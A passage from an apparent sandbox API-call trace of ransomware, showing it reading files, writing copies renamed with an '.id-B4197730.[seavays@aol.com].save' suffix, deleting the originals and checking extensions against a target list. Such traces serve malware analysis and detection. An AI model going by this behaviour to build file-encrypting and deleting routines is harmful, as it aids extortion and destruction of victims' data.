lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.222] WriteFile (in: hFile=0x300, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1 [0051.222] SetEndOfFile (hFile=0x300) returned 1 [0051.222] CloseHandle (hObject=0x300) returned 1 [0051.224] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.224] SetEndOfFile (hFile=0x2cc) returned 1 [0051.225] CloseHandle (hObject=0x2cc) returned 1 [0051.225] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.225] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0051.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.226] lstrlenW (lpString=".doc") returned 4 [0051.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.226] lstrlenW (lpString=".docx") returned 5 [0051.226] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.226] lstrlenW (lpString=".pdf") returned 4 [0051.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.226] lstrlenW (lpString=".xls") returned 4 [0051.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.226] lstrlenW (lpString=".xlsx") returned 5 [0051.226] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.226] lstrlenW (lpString=".ppt") returned 4 [0051.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.226] lstrlenW (lpString=".zip") returned 4 [0051.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.226] lstrlenW (lpString=".rar") returned 4 [0051.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.226] lstrlenW (lpString=".bz2") returned 4 [0051.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.226] lstrlenW (lpString=".7z") returned 3 [0051.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.226] lstrlenW (lpString=".dbf") returned 4 [0051.226] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.226] lstrlenW (lpString=".1cd") returned 4 [0051.226] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.227] lstrlenW (lpString=".jpg") returned 4 [0051.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.227] lstrlenW (lpString=".doc") returned 4 [0051.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.227] lstrlenW (lpString=".docx") returned 5 [0051.227] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.227] lstrlenW (lpString=".pdf") returned 4 [0051.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.227] lstrlenW (lpString=".xls") returned 4 [0051.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.227] lstrlenW (lpString=".xlsx") returned 5 [0051.227] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.227] lstrlenW (lpString=".ppt") returned 4 [0051.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.227] lstrlenW (lpString=".zip") returned 4 [0051.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.227] lstrlenW (lpString=".rar") returned 4 [0051.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.227] lstrlenW (lpString=".bz2") returned 4 [0051.227] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.227] lstrlenW (lpString=".7z") returned 3 [0051.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.227] lstrlenW (lpString=".dbf") returned 4 [0051.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.227] lstrlenW (lpString=".1cd") returned 4 [0051.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0051.227] lstrlenW (lpString=".jpg") returned 4 [0051.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.228] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0051.228] lstrlenW (lpString="eula.rtf") returned 8 [0051.228] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0051.236] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3726) returned 1 [0051.236] CloseHandle (hObject=0x2f0) returned 1 [0051.236] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0051.236] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.236] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0051.236] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.236] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.236] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0051.236] GetLastError () returned 0x0 [0051.236] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xe8e, lpOverlapped=0x0) returned 1 [0051.240] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe90, lpOverlapped=0x0) returned 1 [0051.241] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.241] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1 [0051.241] SetEndOfFile (hFile=0x2cc) returned 1 [0051.241] CloseHandle (hObject=0x2cc) returned 1 [0051.242] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.242] SetEndOfFile (hFile=0x2f0) returned 1 [0051.243] CloseHandle (hObject=0x2f0) returned 1 [0051.243] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.243] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0051.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.243] lstrlenW (lpString=".doc") returned 4 [0051.243] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.243] lstrlenW (lpString=".docx") returned 5 [0051.243] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.244] lstrlenW (lpString=".pdf") returned 4 [0051.244] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.244] lstrlenW (lpString=".xls") returned 4 [0051.244] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.244] lstrlenW (lpString=".xlsx") returned 5 [0051.244] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.244] lstrlenW (lpString=".ppt") returned 4 [0051.244] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.244] lstrlenW (lpString=".zip") returned 4 [0051.244] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.244] lstrlenW (lpString=".rar") returned 4 [0051.244] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.244] lstrlenW (lpString=".bz2") returned 4 [0051.244] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.244] lstrlenW (lpString=".7z") returned 3 [0051.244] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.244] lstrlenW (lpString=".dbf") returned 4 [0051.244] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.244] lstrlenW (lpString=".1cd") returned 4 [0051.244] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.244] lstrlenW (lpString=".jpg") returned 4 [0051.244] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.244] lstrlenW (lpString=".doc") returned 4 [0051.244] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.244] lstrlenW (lpString=".docx") returned 5 [0051.244] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.244] lstrlenW (lpString=".pdf") returned 4 [0051.244] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.244] lstrlenW (lpString=".xls") returned 4 [0051.245] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.245] lstrlenW (lpString=".xlsx") returned 5 [0051.245] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.245] lstrlenW (lpString=".ppt") returned 4 [0051.245] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.245] lstrlenW (lpString=".zip") returned 4 [0051.245] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.245] lstrlenW (lpString=".rar") returned 4 [0051.245] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.245] lstrlenW (lpString=".bz2") returned 4 [0051.245] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.245] lstrlenW (lpString=".7z") returned 3 [0051.245] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.245] lstrlenW (lpString=".dbf") returned 4 [0051.245] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.245] lstrlenW (lpString=".1cd") returned 4 [0051.245] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0051.245] lstrlenW (lpString=".jpg") returned 4 [0051.245] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.245] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0051.245] lstrlenW (lpString="LocalizedData.xml") returned 17 [0051.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0051.246] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=80970) returned 1 [0051.246] CloseHandle (hObject=0x2f0) returned 1 [0051.246] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0051.246] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.246] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0051.246] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.246] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.246] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0051.246] GetLastError () returned 0x0 [0051.246] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0051.250] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x13c50, lpOverlapped=0x0) returned 1 [0052.202] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.202] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.202] SetEndOfFile (hFile=0x2cc) returned 1 [0052.202] CloseHandle (hObject=0x2cc) returned 1 [0052.204] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.204] SetEndOfFile (hFile=0x2f0) returned 1 [0052.206] CloseHandle (hObject=0x2f0) returned 1 [0052.206] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.206] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0052.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.206] lstrlenW (lpString=".doc") returned 4 [0052.206] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.206] lstrlenW (lpString=".docx") returned 5 [0052.206] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.206] lstrlenW (lpString=".pdf") returned 4 [0052.206] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.206] lstrlenW (lpString=".xls") returned 4 [0052.206] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.206] lstrlenW (lpString=".xlsx") returned 5 [0052.207] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.207] lstrlenW (lpString=".ppt") returned 4 [0052.207] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.207] lstrlenW (lpString=".zip") returned 4 [0052.207] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.207] lstrlenW (lpString=".rar") returned 4 [0052.207] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.207] lstrlenW (lpString=".bz2") returned 4 [0052.207] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.207] lstrlenW (lpString=".7z") returned 3 [0052.207] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.207] lstrlenW (lpString=".dbf") returned 4 [0052.207] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.207] lstrlenW (lpString=".1cd") returned 4 [0052.207] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.207] lstrlenW (lpString=".jpg") returned 4 [0052.207] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.207] lstrlenW (lpString=".doc") returned 4 [0052.207] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.207] lstrlenW (lpString=".docx") returned 5 [0052.207] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.208] lstrlenW (lpString=".pdf") returned 4 [0052.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.208] lstrlenW (lpString=".xls") returned 4 [0052.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.208] lstrlenW (lpString=".xlsx") returned 5 [0052.208] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.208] lstrlenW (lpString=".ppt") returned 4 [0052.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.208] lstrlenW (lpString=".zip") returned 4 [0052.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.208] lstrlenW (lpString=".rar") returned 4 [0052.208] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.208] lstrlenW (lpString=".bz2") returned 4 [0052.208] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.208] lstrlenW (lpString=".7z") returned 3 [0052.208] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.208] lstrlenW (lpString=".dbf") returned 4 [0052.208] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.208] lstrlenW (lpString=".1cd") returned 4 [0052.208] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0052.208] lstrlenW (lpString=".jpg") returned 4 [0052.208] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.208] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.208] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.208] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.209] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=82962) returned 1 [0052.209] CloseHandle (hObject=0x2f0) returned 1 [0052.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0052.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0052.209] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.209] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0052.209] GetLastError () returned 0x0 [0052.209] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x14412, lpOverlapped=0x0) returned 1 [0052.213] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x14420, lpOverlapped=0x0) returned 1 [0052.215] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.215] WriteFile (in: hFile=0x2cc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.215] SetEndOfFile (hFile=0x2cc) returned 1 [0052.215] CloseHandle (hObject=0x2cc) returned 1 [0052.217] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.217] SetEndOfFile (hFile=0x2f0) returned 1 [0052.218] CloseHandle (hObject=0x2f0) returned 1 [0052.219] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.219] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0052.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.219] lstrlenW (lpString=".doc") returned 4 [0052.219] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.219] lstrlenW (lpString=".docx") returned 5 [0052.219] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.219] lstrlenW (lpString=".pdf") returned 4 [0052.219] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.219] lstrlenW (lpString=".xls") returned 4 [0052.219] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.219] lstrlenW (lpString=".xlsx") returned 5 [0052.219] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.220] lstrlenW (lpString=".ppt") returned 4 [0052.220] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.220] lstrlenW (lpString=".zip") returned 4 [0052.220] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.220] lstrlenW (lpString=".rar") returned 4 [0052.220] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.220] lstrlenW (lpString=".bz2") returned 4 [0052.220] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.220] lstrlenW (lpString=".7z") returned 3 [0052.220] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.220] lstrlenW (lpString=".dbf") returned 4 [0052.220] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0052.220] lstrlenW (lpString=".1cd") returned 4 [0052.220] 